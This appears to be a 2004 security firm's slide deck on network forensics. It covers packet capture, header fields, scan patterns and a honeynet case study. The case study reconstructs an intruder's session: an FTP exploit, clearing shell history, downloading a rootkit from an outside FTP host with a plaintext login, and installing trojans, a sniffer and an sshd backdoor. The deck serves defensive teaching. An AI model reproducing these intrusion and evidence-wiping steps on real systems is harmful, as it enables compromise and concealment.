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What is it?

fo-ren-sic
• Relating to the use of science or technology in the 

investigation and establishment of facts or 
evidence in a court of law: a forensic laboratory

Network forensic 
• Capture network traffic and save it in a useful 

format
• Analyze logs; identify patterns; establish facts 

and produce evidence
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Today’s talk will cover

1. Introduction to Network Forensics
2. Network Traffic 101
3. Capturing and analyzing Network Traffic
4. Trail Begins (Case Study)
5. The Challenges faced
6. Limitations and Applications
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How is network traffic captured?

• Listen in promiscuous mode to all traffic
• Sniffers 

– Snort, Ethereal
• Intrusion Detection Systems

– Snort and others
• Save the traffic to a file

– Popular format - tcpdump
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Snort Dump
Y_� E  *�f@ @�b~��fË^ë! �î¼½j¸ÑàÒ1EP�}xì5  

PDÆ<��� 6   6       � �  PV@Y_ P‹è��� E  (Wt@ w�êqË^ë!��fî¼ �àÒ1E½j¸ÓP�C$3œ  PDÆ<��� Ú�  Ú�      �    P‹è�� 
PV@Y_� E �Ì�g@ @�_Û��fË^ë! �î¼½j¸ÓàÒ1EP�}x';  total 17

drwxr-x--- 2 root     root         1024 Apr 24 05:01 .
drwxr-xr-x  16 root     root         1024 Apr 12 01:43 ..
-rw-r--r-- 1 root     root         1126 Aug 23  1995 .Xdefaults
-rw------- 1 root     root         2422 Apr 22 06:56 .bash_history
-rw-r--r-- 1 root     root           24 Jul 14  1994 .bash_logout
-rw-r--r-- 1 root     root          238 Aug 23  1995 .bash_profile
-rw-r--r-- 1 root     root          176 Aug 23  1995 .bashrc
-rw-r--r-- 1 root     root          182 Mar 22  1999 .cshrc
-rw-r--r-- 1 root     root          166 Mar  4  1996 .tcshrc
-rw------- 1 root     root         4249 Apr 18 07:32 mbox
[root@Yamuna /root]# PDÆ<�+ 6   6       � �  PV@Y_ P‹è��� E  (Wu@ w�êpË^ë!��fî¼ �àÒ1E½j»wP�@€3œ  SDÆ<}Q  7   7       � �  

PV@Y_ P‹è��� E  )Wv@ w�ênË^ë!��fî¼ �àÒ1E½j»wP�@€Ð’ cSDÆ<}Q  <   <       �    P‹è�� PV@Y_� E  )�h@ @�b}��fË^ë! 
�î¼½j»wàÒ1FP�}x“™  c     SDÆ<��� 6   6       � �  PV@Y_ P‹è��� E (Ww@ w�ênË^ë!��fî¼ �àÒ1F½j»xP�@�3›  SDÆ<íÓ� 
7   7       � �  PV@Y_ P‹è��� E  )Wx@ w�êlË^ë!��fî¼ �àÒ1F½j»xP�@�Ï‘ dSDÆ<ýú� <   <       �    P‹è�� PV@Y_� E  )�i@ 
@�b|��fË^ë! �î¼½j»xàÒ1GP�}x’— d     SDÆ<íD� 6   6       � �  PV@Y_ P‹è��� E  (Wy@ w�êlË^ë!��fî¼ �àÒ1G½j»yP�@~3š  
SDÆ<-á� 7   7       � �  PV@Y_ P‹è��� E  )Wz@ w�êjË^ë!��fî¼ �àÒ1G½j»yP�@~�‘   SDÆ<-á� <   <       �    P‹è�� PV@Y_� 
E  )�j@ @�b{��fË^ë! �î¼½j»yàÒ1HP�}xÖ•        SDÆ<-R 6   6       � �  PV@Y_ P‹è��� E  (W{@ w�êjË^ë!��fî¼ 
�àÒ1H½j»zP�@}3™  SDÆ<M�� 7   7       � �  PV@Y_ P‹è��� E  )W|@ w�êhË^ë!��fî¼ �àÒ1H½j»zP�@}��  /SDÆ<]8� <   <       
�    P‹è�� PV@Y_� E  )�k@ @�bz��fË^ë! �î¼½j»zàÒ1IP�}xÇ“  /     TDÆ<½í  6   6       � �  PV@Y_ P‹è��� E  (W}@ 
w�êhË^ë!��fî¼ �àÒ1I½j»{P�@|3˜  TDÆ<Ý;� 8   8       � �  PV@Y_ P‹è��� E  *W~@ w�êeË^ë!��fî¼ �àÒ1I½j»{P�@|&„  

TDÆ<Ý;� <   <       �    P‹è�� PV@Y_� E  *�l@ @�bx��fË^ë! �î¼½j»{àÒ1KP�}xé… 
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Here’s how the traffic looks in 
Ethereal
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Traffic is encapsulated in headers at 
each layer

User data

User data
Appln header

Application data
TCP header

Application data
TCP headerIP 

header

Application data
TCP headerIP 

header
Ethernet 
header

Ethernet 
trailer

Application

TCP

IP

Ethernet 
driver

Ethernet 

TCP SEGMENT 

IP DATAGRAM

ETHERNET FRAME
14 20 20 4
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The IP Header

Version
Version Heade

r 
Length

Heade
r 

Length

Type of ServiceType of Service Total LengthTotal Length

IdentificationIdentification FlagsFlags Fragment OffsetFragment Offset

Time to Live 
(TTL)Time to Live 

(TTL)

ProtocolProtocol Header ChecksumHeader Checksum

Source IP AddressSource IP Address

Destination IP AddressDestination IP Address

Options (if any)Options (if any)

DataData
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The TCP Header
Source Port NumberSource Port Number Destination Port NumberDestination Port Number

Sequence NumberSequence Number

Acknowledgement NumberAcknowledgement Number

Head
er 

Lengt
h

Head
er 

Lengt
h

Reserv
edReserv

ed

UU AA PP RR SS FF Window SizeWindow Size

TCP ChecksumTCP Checksum Urgent PointerUrgent Pointer

Options (if any)Options (if any)

Data (if any)Data (if any)
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3 Common Traffic Patterns

• Port scan
• Proxy scanning
• Traceroute / Firewalk
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Port Scans: Identifying open 
ports

Source Port NumberSource Port Number Destination Port NumberDestination Port Number

Sequence NumberSequence Number

Acknowledgement NumberAcknowledgement Number

Head
er 

Lengt
h

Head
er 

Lengt
h

Reserv
edReserv

ed

UU AA PP RR SS FF Window SizeWindow Size

TCP ChecksumTCP Checksum Urgent PointerUrgent Pointer

Options (if any)Options (if any)

Data (if any)Data (if any)



2/23/2004 confidential 12

The Port Scan Pattern

• Large number of SYN packets to different 
ports on a host (half open)

• The attacker could hide himself in a decoy 
scan
– The port scans appear to come from multiple 

IPs
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The Proxy Scanning Pattern

• Normal HTTP Requests:
10:01:04 192.168.0.1 GET /index.html – 200 

Mozilla/4.0 - -

• Proxy scanning Requests:
10:01:04 192.168.0.1 GET http://www.yahoo.com/ –

200 - - -
• The attacker is checking if the server can be used 

as a proxy to hide behind
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Traceroute: Playing with TTL in IP 
Header

Version
Version Heade

r 
Length

Heade
r 

Length

Type of ServiceType of Service Total LengthTotal Length

IdentificationIdentification FlagsFlags Fragment OffsetFragment Offset

Time to Live 
(TTL)Time to Live 

(TTL)

ProtocolProtocol Header ChecksumHeader Checksum

Source IP AddressSource IP Address

Destination IP AddressDestination IP Address

Options (if any)Options (if any)

DataData
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Traceroute/Firewalk Pattern

• Use TTL in IP datagram and ICMP to map 
routers in the path
– Unix – traceroute ; Windows - tracert

• TCP packets with low value TTLs to open 
ports: Firewalk
– The bad guy is trying to map the network 

through the firewall
– Suggests a moderately skilled attacker
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Tunneling over Non-standard 
protocols

• IPv6 tunneled over IPv4: Protocol 41 
Version

Version Heade
r 

Length

Heade
r 

Length

Type of ServiceType of Service Total LengthTotal Length

IdentificationIdentification FlagsFlags Fragment OffsetFragment Offset

Time to Live 
(TTL)Time to Live 

(TTL)

ProtocolProtocol Header ChecksumHeader Checksum

Source IP AddressSource IP Address

Destination IP AddressDestination IP Address

Options (if any)Options (if any)

DataData
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Look for traffic other than UDP/TCP
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Honeynets: A great place to see 
attacks

• A honeynet is a set of machines sacrificed 
to study attacks
– Vulnerable machines put on the Internet

• All activities of attackers are monitored, 
unknown to them

• The Honeynet Research Alliance
– http://www.honeynet.org

• A Case study from our Honeynet

http://www.honeynet.org/
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Alerts, One April Morning...

• April 25, 2002
• Three fresh Linux 6.2 honeypots in a corner 

of the world
• Linux 6.2 has vulnerable versions of ftp and 

ssh
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Snort started producing alerts… 
[**] [1:1630:3] FTP EXPLOIT CWD overflow [**]
[Classification: Attempted Administrator Privilege Gain] [Priority: 1]
04/25-03:12:23.190861 210.241.60.68:45655 -> 10.4.1.103:21
***AP*** Seq: 0xE622429E  Ack: 0x1073F963  Win: 0x16D0  TcpLen: 32

[**] [1:1424:4] SHELLCODE x86 EB OC NOOP [**]
[Classification: Executable code was detected] [Priority: 1]
04/25-03:12:23.200861 10.4.1.103:21 -> 210.241.60.68:45655
***AP*** Seq: 0x1073F963  Ack: 0xE622449A  Win: 0x1920  TcpLen: 32

[**] [1:498:3] ATTACK RESPONSES id check returned root [**]
[Classification: Potentially Bad Traffic] [Priority: 2]
04/25-03:12:28.230861 10.4.1.103:21 -> 210.241.60.68:45655
***AP*** Seq: 0x1073FCA7  Ack: 0xE622456D  Win: 0x1920  TcpLen: 32
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To get an overall feel...

04/25-03:11:39.860861 210.241.60.68:45352 -> 10.4.1.103:22
04/25-03:11:39.860861 10.4.1.103:22 -> 210.241.60.68:45352
04/25-03:11:40.310861 210.241.60.68:45654 -> 10.4.1.103:21
04/25-03:11:40.310861 10.4.1.103:21 -> 210.241.60.68:45654
04/25-03:11:40.760861 210.241.60.68:45352 -> 10.4.1.103:22
...
...
04/25-03:18:55.970861 210.241.60.68:45352 -> 10.4.1.103:22
04/25-03:18:56.020861 10.4.1.103:21 -> 210.241.60.68:45655
04/25-03:20:43.570861 10.4.1.103:21 -> 210.241.60.68:45655
04/25-03:20:44.010861 210.241.60.68:45655 -> 10.4.1.103:21
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Which sessions do we look at closer?

• Multiple connections to the honeypot on 
port 21

• Only one connection to port 21 had more 
than two or three packets
– The connection from port 45655 to port 21 

04/25-03:20:44.010861 210.241.60.68:45655 -> 
10.4.1.103:21
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TCP Stream Reassembly with Snort

• Reconstruct TCP sessions with Snort
• Combine all packets from a session into a 

single stream
• We have a session file close to 9 KB for this 

connection
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The first few packets…
CWD ~{
---a long exploit string---
.
.
.
id;uname -a;
uid=0(root) gid=0(root) groups=50(ftp)
Linux MAIL 2.4.7-10 #1 Thu Sep 6 17:27:27 EDT 2001 
i686 unknown
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Checking directory and deleting 
history…

ls

bin
etc
lib
pub

unset HISTFILE

unset HISTSAVE
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Downloading a compressed file…

ftp boxy.netfirms.com
boxy
azsxdc
hash
bi
cd www
get modern.tgz
Name (boxy.netfirms.com:root): Hash mark printing on (1024 
bytes/hash mark).
#####################################################
##################
bye
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Installing the rootkit…
tar -zxvf modern.tgz
rm -rf modern.tgz
cd modern
./install
overkill Red Hat 6.*rk
Installing trojaned programs...
chsh
ps
top
pstree *** failed ***
killall
ls
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Installing Sniffers and backdoors

Installing DoS programs...
vadim
imp
slice
sl2
Installing sniffer...
Installing sshd backdoor...
Setting up crontab entries...
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And the open ports on the 
system…

open ports:
tcp    0  0 *:https       *:*       LISTEN  
tcp    0  0 MAIL:rndc     *:*       LISTEN  
tcp    0  0 MAIL:smtp     *:*       LISTEN  
tcp    0  0 *:telnet      *:*       LISTEN  
tcp    0  0 *:ssh         *:*       LISTEN  
tcp    0  0 MAIL:domain   *:*       LISTEN  
tcp    0  0 10.4.1.103:53 *:*       LISTEN  
tcp    0  0 *:ftp         *:*       LISTEN  
tcp    0  0 *:smtps       *:*       LISTEN  
tcp    0  0 *:http        *:*       LISTEN  
tcp    0  0 *:sunrpc      *:*       LISTEN  
tcp    0  0 *:1258        *:*       LISTEN  
tcp    0  0 *:1024        *:*       LISTEN  

checking for other rootkits:
/dev filez:
Configuring R00Tkit. Wait!
Done.
|= Rootkit installed. Enjoy! :)
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The Follow-Through of the Attack

• Next, we received a connection from 
another IP on to our port 1258

• Reconstruct that new session
• The traffic contains the following words:

– SSH-1.5-1.2.27
– SSH-1.5-PuTTY

• Network forensics cannot analyze encrypted 
traffic 
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Still more traffic to 
boxy.netfirms.com 

• Two new downloads: e.tgz, and mykit.tgz
• e.tgz - an IRC server from Energy Mech
• mykit.tgz - a collection of several rootkits
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Within 30 minutes, IRC chat…
.
.
.
:boxy!boxy@boxy.hackslinux.com PRIVMSG #cnb :nu mere
:boxy!boxy@boxy.hackslinux.com PRIVMSG #cnb :qseen Leif
PRIVMSG #cnb :I have no memory of Leif
:pornoSTAR!~porn@80.82.166.93 PRIVMSG #cnb :I have no memory of Leif
:StarChasr!Delray@62.231.91.28 PRIVMSG #cnb :10x
:StarChasr!Delray@62.231.91.28 PRIVMSG #cnb :boxy tu iai dat op lui leif ?
:saffah!~sase1@cj3007027-a.kkysh1.ky.home.ne.jp JOIN :#cnb
:saffah!~sase1@cj3007027-a.kkysh1.ky.home.ne.jp JOIN :#linuxbabes
.
.
.
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Trace back the IP address of 
attacker

• Query IP Address Registries
– ARIN (North America)
– RIPE (US)
– APNIC (Asia Pacific)

• Locate the ISP or the company the IP 
address is assigned to

• Get contact names of the ISP or company
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RIPE shows attacker is from 
Romania
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Summarizing the attack…

• Attacker gained entry through an ftp exploit
• Deleted history
• Downloaded rootkit from Net
• Installed trojan backdoors
• Came back via SSH
• Installed IRC Chat server
• Setup an IRC channel for the underground



2/23/2004 confidential 39

The challenges we face

• Huge volumes of traffic
– so need to recognize patterns

• Attack could be tunneled through non-standard 
protocols
– IPv6 tunneled over IPv4

• Tracing back the attacker could be difficult
– The attacker could be using intermediary hops to 

launch the attack
– The attacker might try evasive tactics like decoy scans
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Limitations of Network Forensics

• Encrypted traffic cannot be analyzed
– VPN traffic
– SSH traffic for administration

• Coverage might not include all traffic to a system
– Depends on our vantage point
– Dial-in traffic might not be covered

• When volume of traffic is huge, full packet 
logging might not be enabled
– Analysis of headers might not always be enough
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Applications of Network 
Forensics

• Investigate in the aftermath of an attack
– Identify the attacker, the technique used and the 

damage
• Analyze Worms

– Recover the binary payload
– Study attack patterns

• Research new techniques used by Blackhats
– Honeynets
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Paladion Networks

Design

• Security Policy 
and Process 
Development

• Network 
security 
architecture 
design

• Application 
security 
architecture 
design

Deploy

• Firewall, VPNs, 
IDS, anti-virus

• Directory 
services

• Trusted OS
• Access 

management
• Log monitoring
• Certificate 

servers, PKI

Manage

• Firewall, 
Intrusion 
management

• Enterprise 
security 
management

• Incident 
handling, 
forensics

• Security training

Services span complete IT security lifecycle:

Assess

• Enterprise 
Security Audit

• Risk assessment
• Vertical specific

• Finance
• Healthcare

• Penetration & 
web-app testing

• Vulnerability 
Assessment

• Software code 
security (SDLC)
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Resources for Network Forensics

• Whitepapers at Project Honeynet
– http://project.honeynet.org/papers/index.html

• Sample logs to practice forensics skills
– http://project.honeynet.org/misc/chall.html

• Sniffers
– http://www.ethereal.com
– http://www.tcpdump.org
– http://www.snort.org

http://project.honeynet.org/papers/index.html
http://project.honeynet.org/misc/chall.html
http://www.ethereal.com/
http://www.tcpdump.org/
http://www.snort.org/
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Contact Us in the USA
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Roshen.chandran@paladion.net
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